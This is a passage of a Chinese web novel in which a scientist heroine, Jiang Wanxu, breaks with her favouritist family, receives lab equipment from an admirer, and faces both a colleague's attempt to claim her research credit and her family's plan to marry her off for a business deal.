只要江芊妤一流眼泪,所有的天平,都会瞬间向她倾斜。
而她江晚絮,永远是那个被指责,被唾弃的恶人。
她曾经为此声嘶力竭的便结果,痛苦地嘶吼过,也绝望地哭泣过。
可现在,她看着眼前这拙劣的表演,心中只剩下一片平静。
就像在看一出与自己毫不相干的三流伦理剧。
她拿起筷子,夹起那块糖醋小排,放进了嘴里。
慢慢地咀嚼。
太甜了,甜得发腻。
酱油也放多了,咸得发苦。
真难吃。
她又夹了一口米饭,就着这难吃的排骨,机械地咽了下去。
她吃得很慢,很安静。
仿佛一个真正的局外人,将自己彻底隔绝在了这场闹剧之外。
她的沉默,让江家人的指责和安慰,瞬间就显得滑稽和可笑。
他们就像一群在舞台上卖力表演的小丑,而台下唯一的观众,却连一个眼神都懒得给他们。
渐渐地,江芊妤的哭声小了。
江明宇的咒骂也停了。
所有人都看着那个沉默吃饭的江晚絮,心里升起一股的憋闷和烦躁。
她怎么不哭了?
她怎么不闹了?
她怎么不为自己辩解了?
一拳打在棉花上的无力感,让所有人都感到无所适从。
终于,江晚絮吃完了碗里最后一口米饭。
她抽出纸巾,慢条斯理地擦了擦嘴。
然后,她缓缓地放下了筷子。
筷子与瓷碗碰撞,发出一声清脆的轻响。
她抬起眼,那双清澈的眸子,平静地扫过桌上的每一个人。
最后,她的目光,落在了唯一一个从头到尾没有说过重话,却也同样选择了袖手旁观的江明哲身上。
第18章 从他的世界里消失
江晚絮的脸上,没有愤怒,没有悲伤,没有怨恨。
只有一片深不见底的、让人心悸的淡然。
她朱唇轻启,声音不大,却清晰地传到了每个人的耳朵里。
“我吃饱了,你们慢用。”
说完,她站起身,拉开椅子,转身就走。
整个动作,行云流水,优雅而平静,没有一丝一毫的拖泥带水。
江家人全都愣住了。
他们设想过无数种可能。
她会哭,会闹,会控诉,会歇斯底里。
他们甚至都准备好了回应她的说辞。
却没有料到,她竟然会是这样一种反应。
一种彻底的,不带任何情绪的,纯粹的漠然。
就像……只是来吃一顿无关紧要的便饭。
吃完了就走。
这种被彻底无视,被当成空气的感觉,比任何激烈的对抗都更让他们感到难堪。
“站住!”
江明宇第一个反应过来,恼羞成怒地低吼道:“你这是什么意思?把江家当成什么了?想来,想走就走?”
“真是翅膀硬了!没教养的东西!”
江晚絮的脚步,连顿都没有顿一下。
仿佛那些刺耳的辱骂,只是拂过耳边的一阵风。
而心思比江明宇细腻敏感得多的江明哲,却从她刚才那最后一眼中,读到了一些不一样的东西。
那不是赌气,不是耍性子。
那是一种……燃尽了所有希望和期盼后,死灰般的决绝。
他的心脏,忽然一沉。
一种莫名的恐慌,瞬间攫住了他。
他意识到,有什么东西,正在无可挽回地,彻底失去。
他几乎是下意识的,第一个追了出去。
终于,在玄关处,他拉住了江晚絮的手腕。
她的手腕很瘦,有些硌人,而且冰凉得没有一丝温度。
“晚絮!”
江明哲的语气里,带着一丝慌乱。
“你别走……大哥他们不是那个意思……”
他想为家人辩解,却发现自己根本说不出口。
“芊妤她……她只是从小身体不好,大家都习惯了多照顾她一点。”
江晚絮停下了脚步。
她缓缓地回过头,看着这个她曾经最亲近、也寄予了最多希望的三哥。
眼神平静,没有丝毫涟漪。
甚至,她还微微地笑了一下。
那笑容很淡,却比哭,更让人觉得心碎。
“没关系。”她轻声开口,“真的,都没关系了。”
“你们是什么意思,大哥二哥是什么态度,芊妤又怎么样……”
“所有的一切,都跟我没关系了。”
她的声音很轻,也很柔。
“以后……各自安好吧。”
说完,她挣开了江明哲的手。
那力道不大,江明哲却觉得,自己像是被一股无法抗拒的力量推开了。
他眼睁睁地看着她,拉开厚重的实木大门,毫不留恋地,走入了门外沉沉的夜色之中。
那纤瘦的背影,挺得笔直。
她没有回头。
一次都没有。
江明哲僵在原地,冰冷的夜风灌了进来,吹得他浑身发冷。
他的耳边,不停地回响着江晚絮的最后那句话。
——“以后,各自安好吧。”
这几个字,比任何一句撕心裂肺的嘶吼与不甘,都更决绝。
恨,至少说明还在意。
而“各自安好”,是彻底的割裂,是恩断义绝,是老死不相往来。
他终于彻彻底底地明白了。
他们,可能真的,永远地失去这个妹妹了。
不是在今天晚上。
而是在过去那无数次,他们理所当然的偏袒里。
在那一次次,他带着伤,含着泪,充满希望地看向他们,却只得到冷漠和指责的瞬间里。
日积月累,千刀万剐。
直到今天,她心里的血,终于流干了。
夜风灌入玄关,吹得江明哲一个激灵。
他看着那扇被重新合上的大门,有一瞬间的失神。
“呸!让她滚!”
江明宇的咒骂声从餐厅传来,打破了沉默。
“滚得越远越好!我看她离了江家,能有多大出息!”
江父的脸色也是铁青一片。
他将筷子重重地拍在桌子上,骂了起来,“没规矩的小畜生!”
江芊妤还在小声地抽泣,听到父亲的咒骂声,声音哽咽却又清晰地补了一句:“都怪我……我不该惹姐姐生气的……”
江明泽皱着眉,看向门口失魂落魄的江明哲:“老三,她跟你说什么了?”
江明哲缓缓转过身,目光空洞地看了过来。
他的声音有些颤抖。
“她说……以后,各自安好。”
“她说所有的一切,都与她无关了。”
客厅里,瞬间鸦雀无声。
就连江芊妤的哭声,也像是被人掐住了脖子,戛然而止。
江晚絮的这句话,是一种彻底的、从骨子里透出来的剥离。
他们对于她而言,真的就只是无关紧要的陌生人。
另一边,叶氏集团总裁办公室。
叶寒已经整整两天没有合眼了。
他面前的烟灰缸里,堆满了烟头。
办公桌上,平板电脑的屏幕还亮着,上面是关于江晚絮那篇论文的各种报道和分析,每一个字都在表达着她的惊世才华和无上荣光。
他烦躁的关了屏幕,拿起手机。
通话记录里,最后一个号码,依然是江晚絮的。
那个被她毫不犹豫挂断的电话,像一根刺,死死地扎在他的心上。
已经三天了。
整整三天。
江晚絮就像人间蒸发了一样。
没有电话,没有短信。
没有像以前那样,吵架后不出半天就跑来公司,红着眼睛给他送他最爱吃的零食。
更没有去打扰芊妤。
她的社交账号,也停更在那篇论文发布的庆祝动态上,再无更新。
她就这么……从他的世界里消失了。
消失得干干净净,彻彻底底。
这种感觉,让叶寒感到一种前所未有的失落。
他习惯了掌控一切。
掌控公司未来的走向,掌控对手的命脉,也掌控着江晚絮的情绪。
只要他皱一下眉,她就会不安。
只要他一句话,就能让她欣喜若狂,或者坠入冰窟。
可现在,他所有的手段,忽然就失效了。
“咚咚咚。”
助理沈舟敲门走了进来。
“叶总,您要的资料。”
叶寒接过文件,心不在焉地翻了两页,忽然开口问道,“她……那边有什么动静吗?”
第19章 他竟然看到了
“她……那边有什么动静吗?”
沈舟听到这句话,愣了一下,随即反应过来,恭敬地回答,“没有。”
“夫……江小姐这几天一直待在她朋友苏洛敏的公寓里,除了前天回了一趟江家,就再没有出过门。”
“没有哭闹?”叶寒的声音有些干涩,“没有找记者?也没有……试图联系我?”
沈舟摇了摇头:“都没有。”
叶寒的喉结上下滚动了一下。
他将文件丢在桌上,靠坐在宽大的皮质座椅里,扯了扯领带,用一种近乎刻薄的语气,嗤笑了一声。
“呵,总算懂事了。知道滚远点,不碍眼了。”
话是这么说,可他心里的那股无名火,却烧得更旺了。
他以为自己会感到轻松,会得到解脱。
可为什么,心里却像是被挖空了一块,空落落的,还灌着冷风?
沈舟低着头,不敢接话。
作为跟了叶寒很多年的助理,他比谁都清楚,自家老板现在这个状态,就是两个字——嘴硬。
叶寒挥了挥手,“出去吧。”
神州如蒙大赦,转身就走。
办公室的门被关上,巨大的空间里,只剩下叶寒一个人。
他疲惫地闭上眼,脑海里却不受控制地浮现出江晚絮的脸。
哭泣的,微笑的,隐忍的,倔强的……
最后,都定格成了她在民政局里,签下名字时那平静的没有一丝波澜的侧脸。
他忽然睁开眼,抓起桌上的车钥匙,大步走了出去。
半小时后,黑色的宾利就停在了他与江晚絮的婚房——“星月湾”别墅外。
他没有进去,只是摇下窗户,静静地看向了那栋熟悉的房子。
死气沉沉的,没有一丝亮光。
从前,无论他多晚回来,这里总会为他亮着一盏灯。
江晚絮会穿着柔软的家居服,蜷在沙发上等他,手里捧一本厚厚的专业书,一看就是一天。
听到车声,她会立刻跑出来迎接他,接过他的外套,为他换上拖鞋。
然后,端出给他温着的汤。
那种无时无刻不被人放在心尖上的感觉,他曾经不屑一顾,甚至觉得厌烦。
可现在,当这一切都如潮水般褪去,他才发现,这栋冰冷的房子,似乎也随着那个女人的离开,被抽走了所有的灵魂。
“不习惯……”
叶寒低声地喃喃自语。
“对,只是不习惯而已。”
他为自己心中那种莫名的空虚和烦躁,找到了一个最合理的解释。
等过段时间,习惯了就好了。
他这样告诉自己,随即发动车子,头也不回地离开了这个,有着江晚絮气息的地方。
“阿嚏!”
江晚絮忽然就打了一个大大的喷嚏。
“谁在骂我?”
她揉了揉鼻子,嘟囔了一句。
苏洛敏白了她一眼,把一杯温好的牛奶塞进了她手里。
“除了叶寒那个渣男,和江家那群奇葩,还能有谁?你也是心大,从那种地方回来,还能睡得着。”
江晚絮小口小口地喝着牛奶,眼神有些飘忽。
那天从江家离开后,她确实是倒头就睡,一觉睡到了第二天中午。
像是要把过去五年所有的疲惫,都一次性补回来。
醒来后,神清气爽,连高烧都退了。
“因为不在乎了,所以无所谓。”她淡淡地说。
苏洛敏看着她,忽然觉得,眼前的晚絮,好像真的不一样了。
那双清澈的眸子里,已经盛满了对叶寒的爱意,对家人的期盼,还有被伤害时的痛苦。
而现在,那些复杂的情绪都褪去了,只剩下一片澄澈的,近乎冷漠的平静。
“叮咚——”
门铃声忽然响起。
苏洛敏一脸警惕:“谁啊?不会是记者吧?”
她走到门口,通过猫眼往外看。
门外站着两个穿着黑色西装,戴着白手套的男人,身形笔挺,气势沉稳,不像是普通人。
他们身边,还放着一个用防震木箱装着的,巨大的箱子。
“请问,是江晚絮江小姐吗?”其中一个男人开口,声音礼貌而疏离。
“我们是受顾先生所托,来为江小姐送一份礼物的。”
顾先生?
苏洛敏和江晚絮对视了一眼。
江晚絮犹豫了一下,还是让苏洛敏打开了门。
“江小姐,您好。”
为首的男人微微躬身,递上一张名片,“这是顾少吩咐送来的礼物,请您签收。”
江晚絮接过名片,上面只有一个姓氏和一个电话号码。
“顾”。
她的目光落在那个巨大的木箱上,心里充满了疑惑。
“这是什么?”
“是顾少为您挑选的一套实验仪器配件,他说,或许您用得上。”男人回答得滴水不漏。
实验仪器?
江晚絮的心猛地跳了一下。
两个男人将木箱小心翼翼地搬了进来,在客厅中央放下。
然后,他们拿出一张签收单。
“江小姐,如果没问题,请在这里签字。”
江晚絮看着那份签收单,有些手足无措。
“那个……能不能麻烦你们,把这个带回去?请替我转告顾先生,谢谢他的好意,但是我不能收。”
男人面露难色:“江小姐,这……顾少吩咐过,礼物务必送到您手上。我们要是这么带回去,没法交差。”
“这……”
江晚絮犯了难。
苏洛敏在一旁捅了捅她,小声说:“先收下吧,不然让人家也为难。回头你再想办法还给他就是了。”
江晚絮想了想,也只能这样了。
她签了字,两个男人便立刻告辞离开,干脆利落,没有半点拖泥带水。
客厅里,只剩下江晚絮,苏洛敏,和一个巨大的木箱。
“快!快打开看看!太子爷送的礼,到底是什么神仙玩意儿!”苏洛敏比她还激动。
木箱被打开。
里面是层层叠叠的防震泡沫。
当最上层的泡沫被揭开时,两人都倒吸了一口凉气。
静静躺在里面的,不是什么珠宝首饰,也不是什么名牌包包。
而是一套闪着金属光泽的,精密到了极致的仪器配件。
是德国某公司最新研发的,限量版“星尘”系列高精度激光共聚焦模块!
这套配件,是她研究领域内最顶尖的设备,有钱都未必能买到,需要通过层层审批和资格认证。
她之前在论文里,只是提了一句,如果能有这套设备辅助,她的下一个课题,将会大大缩短研发周期。
没想到……
他竟然看到了。
第20章 必须归我所有
苏洛敏看着木箱里的仪器,一边摇头一边咋舌:“我的天……晚絮,这东西得多少钱啊?”
江晚絮摇了摇头,声音有些发飘:“这不是钱的问题。”
“这说明,他真的……看了我的论文,而且看懂了。”
这份礼物,太懂她了。
懂她的事业,懂她的追求,懂她最需要的是什么。
这份尊重和理解,比任何俗气的珠宝,都更能敲击在她的心上。
箱子的最上层,还放着一张卡片。
白色的卡纸,质感极佳。
上面只有八个字。
「实至名归,前程似锦。」
没有落款,只有一个“顾”字。
没有一句暧昧不清的话,只有最真诚的祝贺和最美好的期许。
江晚絮拿着那张卡片,指尖微微泛白。
心里像是被投入了一颗石子,漾开了一圈圈复杂的涟漪。
有感激,有惶恐,还有一丝……温暖。
在这个世界上,除了外婆和苏洛敏,这是第一个,如此郑重地认可她事业的人。
“晚絮,这顾少……该不会是对你有意思吧?”苏洛敏凑过来,一脸八卦。
“别胡说。”
江晚絮立刻否认,脸颊却微微有些发烫。
“他只是……在表达一种欣赏和支持。”
她小心翼翼地将那套仪器配件重新盖好,将卡片收进了自己的钱包夹层。
心里暗暗下定决心。
这份人情,太大了。
她必须找机会,当面向他道谢。
然后,想办法把这份贵重到让她心慌的礼物,还回去。
三天后,瑞澜研究院。
今天是江晚絮正式入职的日子。
她穿着一身简洁干练的白色衬衫和黑色西裤,长发扎成一个利落的马尾,整个人看上去专业又精神。
站在瑞澜研究院这座国内顶尖的科研殿堂门口,她深吸了一口气。
这里,是她学术生涯开始的地方。
也是她跌落谷底后,重新攀登的起点。
“晚絮!”
一个温和又带着惊喜的声音,从身后传来。
江晚絮回头,脸上立刻露出了真诚的笑容。
“林老师!”
迎面走来的,是一位头发花白,戴着金丝边眼镜,气质儒雅的老者。
他叫林博文,是瑞澜研究院的副院长,也是江晚絮读博时的恩师。
当初她被污蔑抄袭,身败名裂,所有人都对她避之不及,只有林老师,还愿意相信她,并且私下里为她多方奔走。
“你这孩子,终于回来了!”
林博士走上前,有些激动地拍了拍她的肩膀,眼眶微微泛红。
“我看了你的论文,写得太好了!太漂亮了!我就知道,我的学生绝不是那种会抄袭的人!”
“老师,谢谢您。”江晚絮的鼻子也有些发酸。
这份来自长辈的信任和认可,是她最宝贵的财富。
“什么谢不谢的,回来就好!”林博士爽朗地笑道,“走,我带你去办手续,你的办公室和实验室,我都给你准备好了,全院最好的!”
“老师,这太……”
“没什么不好的!你值得!”
林博士拉着她,一边走一边说:“你不知道,你那篇论文出来,可把那些老家伙们给羡慕坏了!好几个都想把你抢到他们组里去呢!”
听着老师絮絮叨叨的话,江晚絮心中暖流涌动。
这里没有江家的冷漠,没有叶寒的猜忌。
只有纯粹的学术氛围,和长辈真切的关怀。
她感觉,自己像是漂泊已久的小船,终于找到了一个可以暂时停靠的避风港。
手续很快就办好了。
林博士带着她,来到一间宽敞明亮的独立办公室。
“怎么样?还满意吗?”
“太好了,老师,谢谢您。”
“跟我还客气。”林博士笑着摆摆手,“你先熟悉一下环境,下午我带你去见见课题组的同事。”
“对了,王宏德王博士,你知道吧?咱们院里分子生物学领域的泰斗,他也对你欣赏有加,点名想让你加入他的核心课题组。”
“我寻思着,他那个组平台大,资源多,对你后续的研究很有帮助,就先替你答应了。”
江晚絮点点头:“好,都听老师安排。”
她对王宏德博士早有耳闻,是业内德高望重的前辈,能加入他的团队,对她来说确实是个很好的机会。
下午,林博士带着江晚絮来到了王宏德的实验室。
一个五十岁左右,戴着黑框眼镜,看起来有些微胖的男人,正站在实验台前指导学生。
看到林博士和江晚絮,他立刻满脸堆笑地迎了上来。
“哎呀,林院,您怎么亲自把人送过来了!”
他的目光落在江晚絮身上,热情地伸出手。
“这位,就是江晚絮博士吧?真是年轻有为,久仰大名,久仰大名啊!”
这过分的热情,让江晚絮微微有些不适,但她还是礼貌地伸出手,与他交握。
“王博士,您好,以后请您多多指教。”
“指教不敢当,互相学习,互相学习!”
王博士笑得眼睛都眯成了一条缝,“你的论文我读了不下十遍,见解独到,逻辑缜密,真是让我们这些老家伙自愧不如啊!”
一番商业互吹后,王博士热情地邀请江晚絮到他的办公室详谈。
林博士见状,便笑着说:“行,那你们聊,我还有个会,晚絮就交给你了啊老王。”
“您放心!”
林博士走后,办公室里只剩下江晚絮和王博士两个人。
王博士亲自给她倒了一杯茶,态度和蔼可亲。
“晚絮啊,以后咱们就是一个团队的战友了。”
“你刚来,对院里的很多流程可能还不熟悉,不用担心,有我呢。”
“我这个课题组,是院里的重点项目,经费充足,设备也是最先进的。你在这里,可以尽情施展你的才华。”
江晚絮安静地听着,礼貌地点头。
王博士铺垫了半天,终于图穷匕见。
他喝了口茶,慢悠悠地开口。
“当然了,一个团队,就要有主次之分,这样才能高效运转。”
“我呢,作为这个项目的总负责人,肯定是要承担主要责任的。”
“所以,在接下来的项目中,你作为我的第一副手,所有的研究成果,第一署名权,必须归我所有。”
第21章 继母回来了
江晚絮端着茶杯的手,猛地一顿。
办公室里的空气,仿佛在这一瞬间凝固了。
她缓缓抬起头,看向王博士。
对方依旧是一脸和煦的笑容,仿佛在说一件再也正常不过的事情。
他看出了她的迟疑,又巧妙地补充道:
“你别误会,我这也是为了你好。”
“用我的名头,去申请上面的资源,或者在顶级期刊上发表,都比用你的名字要方便得多,也更容易通过。”
“你还年轻,未来的路还长着呢,现在最重要的是积累经验,而不是争这些虚名。”
“挂一个第二作者,对你来说,已经很好了。不是吗?”
一番话,说得冠冕堂皇,滴水不漏。
把赤裸裸的侵占,包装成了“为她好”的提携。
江晚絮的心,一点一点地沉了下去。
刚刚在林老师那里感受到的温暖,被这盆冷水,浇得一干二净。
何其相似的一幕。
当初,江芊妤也是这样,用着最无辜的表情,说着最体贴的话,然后理所当然地将她的心血据为己有。
她以为,瑞澜研究院是她新的开始,是她的避风港。
却没想到,这里依然有虎视眈眈的豺狼。
署名权,是每一个科研人员的命根子。
她绝不可能让步。
但她也明白,自己初来乍到,根基未稳,如果第一天就和院里的实权人物闹翻,以后恐怕寸步难行。
她放在膝上的手,缓缓收紧。
脸上,却努力挤出一个平静的微笑。
“王博士,您说的是。我资历尚浅,确实需要多向前辈学习。”
“能留在您的团队里,我已经很荣幸了。”
她没有直接答应,也没有直接拒绝,而是用一种模糊的态度,暂时稳住了对方。
王博士满意地点了点头,以为她是被自己说服了。
“这就对了嘛,识时务者为俊杰。”
“好好干,我不会亏待你的。”
从王博士的办公室出来,江晚絮的后背,已经渗出了一层冷汗。
她站在走廊里,看着窗外明媚的阳光,却觉得浑身发冷。
她掏出手机,指尖微颤地拨通了苏洛敏的电话。
电话几乎是秒接。
“怎么样怎么样?新单位还习惯吗?有没有帅哥同事?”苏洛敏咋咋呼呼的声音传来。
江晚絮靠在冰冷的墙壁上,深深吸了一口气,又缓缓吐出。
“帅哥没看到,老狐狸倒是见到一只。”
她用最平静的语气,将刚刚与王博士的对话复述了一遍。
电话那头沉默了几秒。
然后,是惊天动地的咆哮。
“我艹!这老东西不要脸啊!抢论文成果?他怎么不去抢银行!”
“还为你着想?我呸!这借口跟我家楼下那条泰迪发情时找的理由一样离谱!”
苏洛敏气得破口大骂。
江晚絮听着闺蜜为自己出头的声音,心里那股被浇熄的暖意,又重新燃起了一点火星。
她低低地笑了一声。
“你还笑得出来?”苏洛敏简直要急疯了,“你打算怎么办?刚入职就跟顶头上司闹翻?要不咱不干了!此处不留爷,自有留爷处!凭你的本事,去哪里找不到工作!”
“不。”
江晚絮的声音很轻,却带着一种前所未有的坚定。
“我不走。”
“为什么?”
“如果我今天因为他退缩了,那明天就会有李博士,张博士。”
“这个世界上,想走捷径、想踩着别人往上爬的人,太多了。”
“我躲不过的。”
她顿了顿,看着窗外那片湛蓝的天空,眸光清洌如冰。
“所以,我不躲了。”
这一次,她不仅要拿回属于自己的一切,还要让所有企图算计她的人,都付出代价。
苏洛敏听着她平静却充满力量的声音,愣住了。
她忽然意识到,晚絮真的不一样了。
那颗曾经为了叶寒和江家,柔软到任人揉捏的心,如今已经被淬炼成了最坚硬的钻石。
“行!你决定了,我就支持你!”苏洛t敏咬牙切齿,“需要我做什么?要不要我找几个兄弟,下班路上套他麻袋打一顿?”
江晚絮被她逗笑了,心里的阴霾散去不少。
“不用,对付这种人,用拳头太便宜他了。”
“我要他……身败名裂。”
她挂了电话,转身走向自己的办公室。
路还很长。
但她,已经准备好了。
与此同时,江家别墅。
一辆奢华的保姆车缓缓停在门口。
车门打开,一个戴着硕大墨镜,浑身珠光宝气的女人,在一众佣人的簇拥下走了下来。
正是江芊妤的母亲,江晚絮的继母,柳芸。
她前段时间去欧洲血拼,今天才刚刚回来。
一进门,柳芸就嫌恶地皱起了眉。
“我走了才几天,这家里怎么一股子晦气?”
她将手里的包包随手丢给佣人,摘下墨镜,露出一张保养得宜但刻薄相十足的脸。
管家连忙上前:“夫人,您回来了。可能是……前几天大小姐回来过一趟。”
“江晚絮?”
柳芸的声调瞬间拔高了八度,像是听到了什么脏东西。
“她还有脸回来?!”
客厅里,江芊妤正敷着面膜,听到母亲的声音,立刻像只乳燕投林般扑了过去。
“妈!您回来啦!我想死你了!”
看到自己娇滴滴的女儿,柳芸的脸色才缓和下来,她心疼地摸了摸江芊妤的脸。
“我的乖女儿,怎么瘦了?是不是受委屈了?”
江芊妤的眼圈立刻就红了,她靠在柳芸怀里,委屈巴巴地说:“妈,你不知道,姐姐她……她现在好厉害。”
“厉害?”柳芸冷笑一声,“再厉害,不也是个被叶家赶出来的丧家之犬?离了婚的女人,名声都臭了,还能厉害到哪里去?”
她对江晚絮的厌恶,是刻在骨子里的。
当年她嫁进江家,江晚絮那个死鬼妈留下的股份和信托基金,就像一根刺,死死扎在她心里。
凭什么那个小贱人的妈死了还能留给她这么多东西,而自己的女儿却要看人脸色?
所以,她从小就教导江芊妤,要会哭,会示弱,会抢。
凡是江晚絮的东西,都抢过来。
江芊妤果然没让她失望。
她靠在柳芸怀里,拿出手机,点开那篇关于江晚絮论文的报道,递了过去。
“妈,您看……姐姐现在是国际知名的科学家了,好多人都说……说我以前冤枉了她……”
柳芸一把夺过手机,快速地浏览着。
当看到那些“诺奖得主盛赞”、“天才少女”之类的字眼时,她的脸色变得极其难看。
第22章 让她做续弦
柳芸将手机重重地摔在茶几上。
“什么狗屁科学家!我看就是个会炒作的扫把星!”
“一回来就把家里搅得天翻地覆,还闹上新闻,把我们江家的脸都丢尽了!”
在她看来,江晚絮离婚,被骂抄袭,这都是活该。
可现在,江晚絮居然翻身了!
这怎么可以!
那个小贱人,就应该一辈子被踩在泥里,永世不得翻身才对!
“还是我们芊妤最懂事,最贴心,从来不给家里惹麻烦。”柳芸搂着自己的女儿,一脸骄傲。
江芊妤垂下眼,掩去眸底的得意,声音却依旧柔弱。
“妈,您别这么说姐姐……其实,我也替她高兴。只是……叶大哥好像因为这件事,对我很冷淡……”
一听到叶寒,柳芸的神经立刻绷紧了。
“什么?叶寒因为那个小贱人,冷落你了?”
“嗯……”江芊妤点了点头,眼泪说来就来,“我们的婚礼,都推迟了……他说要冷静一下。”
柳芸顿时怒火中烧。
“反了天了!那个江晚絮,活着是扫把星,死了也是个讨债鬼!人都滚出去了,还要来祸害我们芊妤的幸福!”
她看着女儿哭得梨花带雨的脸,心里暗暗发了狠。
不行。
不能再让江晚絮这个隐患,继续留在京市碍眼了。
必须想个办法,把她彻底处理掉!
几天后,江晚絮抽空回了一趟江家。
她母亲留下的遗物,还放在阁楼的旧箱子里。
那是她在这个家里,唯一还剩下的一点念想。
她特意挑了个人最少的下午。
可没想到,刚一进门,就跟柳芸撞了个正着。
柳芸正坐在客厅里,指挥着佣人擦拭她新买回来的古董花瓶,看到江晚絮,就像是看到了一只苍蝇。
她那双挑剔的眼睛,从头到脚,将江晚絮扫了一遍。
一身简单的白衬衫,洗得发白的牛仔裤,脸上素面朝天。
跟自己女儿那一身的名牌和精致妆容比起来,简直就是云泥之别。
柳芸的嘴角,勾起一抹毫不掩饰的讥讽。
“哟,我当是谁呢。原来是我们江家的大科学家回来了。”
那“大科学家”四个字,被她咬得又重又长,充满了嘲弄。
江晚絮没理她,径直朝着楼梯走去。
“站住!”
柳芸尖锐的声音在身后响起。
“我跟你说话呢,你聋了?”
江晚絮停下脚步,却没有回头。
柳芸踩着高跟鞋,哒哒哒地走到她面前,双手抱胸,下巴抬得高高的。
“离了婚的女人,不住在自己家里,天天赖在朋友那算怎么回事?传出去我们江家的脸还要不要了?”
“也不知道把自己收拾利索点,穿得跟个要饭的似的,别把外面的晦气带回家里来!”
若是从前,江晚絮可能会气得浑身发抖,会忍不住跟她争辩。
可现在,她的心里,却掀不起一丝波澜。
她只是淡淡地看着柳芸,那眼神,平静得像是在看一个无理取闹的陌生人。
这种被无视的感觉,让柳芸更加愤怒。
“你看什么看!我说错了吗?你妈就是个短命鬼,生出你这么个不省心的东西!一天到晚就知道给家里添堵!现在翅膀硬了,连长辈的话都不听了?”
江晚絮终于开口了。
她的声音很轻,很冷。
“说完了吗?”
“你……”柳芸一口气堵在胸口。
“说完,就让开。”
江晚絮绕过她,径直上了楼。
柳芸气得浑身发抖,指着她的背影破口大骂:“你个小畜生!没教养的东西!给我滚!拿了你的东西赶紧给我滚!”
江晚絮充耳不闻。
她走进阁楼,找到了那个落满灰尘的木箱。
打开箱子,里面是母亲生前最喜欢的一些书籍,几件素雅的旗袍,还有一本相册。
她翻开相册,第一页,是年轻时的母亲,抱着刚出生的她,笑得温柔而满足。
照片的右下角,有一行娟秀的小字。
「我的晚晚,愿你一生平安喜乐,被世界温柔以待。」
江晚絮的指尖,轻轻抚过那行字。
眼眶,不可抑制地泛了红。
妈妈,对不起。
你的晚晚,让你失望了。
她合上相册,抱起木箱,没有再看这个所谓的“家”一眼,头也不回地离开了。
车子驶出别墅区,她从后视镜里,看了一眼那栋越来越远的华丽建筑。
心里的屈辱,和对这个家的最后一丝眷恋,被彻底斩断。
就在她离开江家的第二天,江氏集团就遇到了大麻烦。
公司的上市计划,在最后关头卡住了。
原因无他,他们需要搞定一个关键人物——李鸿昌,李总。
这位李总,手握一条关键的海外销售渠道,只要他点头,江氏的估值就能翻上一番,上市便指日可待。
可偏偏这位李总,软硬不吃。
江家动用了所有人脉关系,送钱送礼,全都被原封不动地退了回来。
这天晚上,江家召开了一场紧急家庭会议。
客厅里的气氛,凝重得能滴出水来。
江父愁的唉声叹气,一根接一根地抽着烟。
“这个李总,到底想怎么样?油盐不进!”
脾气最暴躁的江明宇一拳砸在桌子上。
“爸,要我说,直接找人给他点颜色看看!”
“胡闹!”江明泽推了推眼镜,镜片后的目光闪着精明的光,“李鸿昌这种人,吃软不吃硬。用暴力,只会把事情搞得更糟。”
江明哲也难得地皱起了眉:“大哥说得对,我们必须想个万全之策。”
就在所有人都一筹莫展的时候,一直安静地坐在角落里削苹果的江芊妤,忽然柔柔地开了口。
“爸爸,哥哥们,我……我倒是有个不成熟的想法,不知道该不该说。”
所有人的目光,瞬间都聚焦在了她身上。
江正宏连忙道:“芊妤,你有什么想法,快说!”
江芊妤咬着唇,一副忧心忡忡的样子。
“我听说……这位李总,为人很传统,他太太前些年因病去世了,他一直想找一位有学识、有气质的女士做续弦。”
她说到这里,小心翼翼地看了看众人的脸色。
“李总不是一直想找个有文化的太太吗?”
“姐姐她……虽然离过婚,名声不太好听,但她的长相和学历,在京市都是顶尖的。”
“如果……如果能促成姐姐和李总的这桩婚事,那李总不就成了我们自家人了吗?到时候,他肯定会全力帮我们家上市的。”
第23章 新花招
江芊妤的话音一落,整个客厅,陷入了一片死寂。
所有人都被她这个“大胆”的想法给惊住了。
让江晚絮去商业联姻?
还是嫁给一个比她大了快二十岁的老男人?
柳芸是第一个反应过来的。
她猛地一拍大腿,眼睛都亮了!
“哎呀!我的芊妤!你真是太聪明了!妈妈怎么就没想到呢!”
“这主意好!这主意太好了!”
她激动地抓住江芊妤的手,“你看看,还是我们芊妤最知道为这个家分忧!”
江父有些犹豫,他虽然不疼爱江晚絮,但把女儿当成货物一样送出去,传出去总归不好听。
“这……这不太好吧?晚絮她……会同意吗?”
“她同不同意,由得了她吗?!”江明宇恶狠狠地说道,“她吃我们江家的,喝我们江家的,养了她二十多年,现在是她报答江家的时候了!”
江明哲沉默不语,算是默认。
所有人的目光,最后都落在了长子江明泽的身上。
江明泽的脸上,没有任何表情。
他冷静地分析道:“这个方案,可行性很高。”
“晚絮现在离了婚,名声受损,对我们来说,是个随时可能引爆的麻烦。而李总那边,恰好需要一个像她这样,有高学历、能带出去撑场面的妻子。”
他扶了扶眼镜,用一种近乎残忍的,陈述事实的语气,一锤定音。
“这是‘废物利用’的最佳方案。”
“也是她为江家,做最后贡献的机会。”
“废物利用”、“最后贡献”。
这八个字,像法官的判词,宣判了江晚絮的命运。
再也没有人提出异议。
两天后,京市一家顶级私人会所的包厢里。
江明泽亲自设宴,款待李鸿昌。
李鸿昌年近五十,身材微微发福,但一身剪裁得体的手工西装,和腕上那块百达翡丽,彰显着他非凡的财力。
他是个聪明人,知道江明泽今天找他,绝不仅仅是吃饭那么简单。
酒过三巡,江明泽终于切入了正题。
但他并没有直接提上市合作的事,更没有说联姻。
他从西装内袋里,拿出几张照片,和一份打印精美的简历,放到了李鸿昌面前。
“李总,冒昧了。知道您是爱才之人,所以特意想给您引荐一位青年才俊。”
李鸿昌拿起照片,愣了一下。
照片上的女孩,穿着一身简单的白大褂,站在实验台前,微微侧着头,阳光透过窗户洒在她身上,整个人都在发光。
那张脸,清丽绝伦,气质干净得像一汪清泉。
尤其是那双眼睛,明亮又专注,仿佛藏着星辰大海。
“这位是……?”李鸿昌的喉结滚动了一下。
江明泽笑了笑,将那份简历推了过去。
“这是舍妹,江晚絮。”
他没有提江晚絮离过婚的事,简历上,只重点突出了她惊才绝艳的学历背景,和最近那篇轰动国际的科研成果。
甚至,还在“家庭背景”一栏,若有似无地提了一句。
「曾与叶氏集团总裁叶寒有过一段婚姻。」
江明泽看着李鸿昌眼中闪过的光芒,知道鱼儿已经上钩了。
他恰到好处地补上最后一击。
“实不相瞒,李总。”
“舍妹一直非常仰慕您这样白手起家,有魄力有远见的成功企业家。”
“她说,您才是真正做实事的人。”
这一记马屁,拍得李鸿昌通体舒畅。
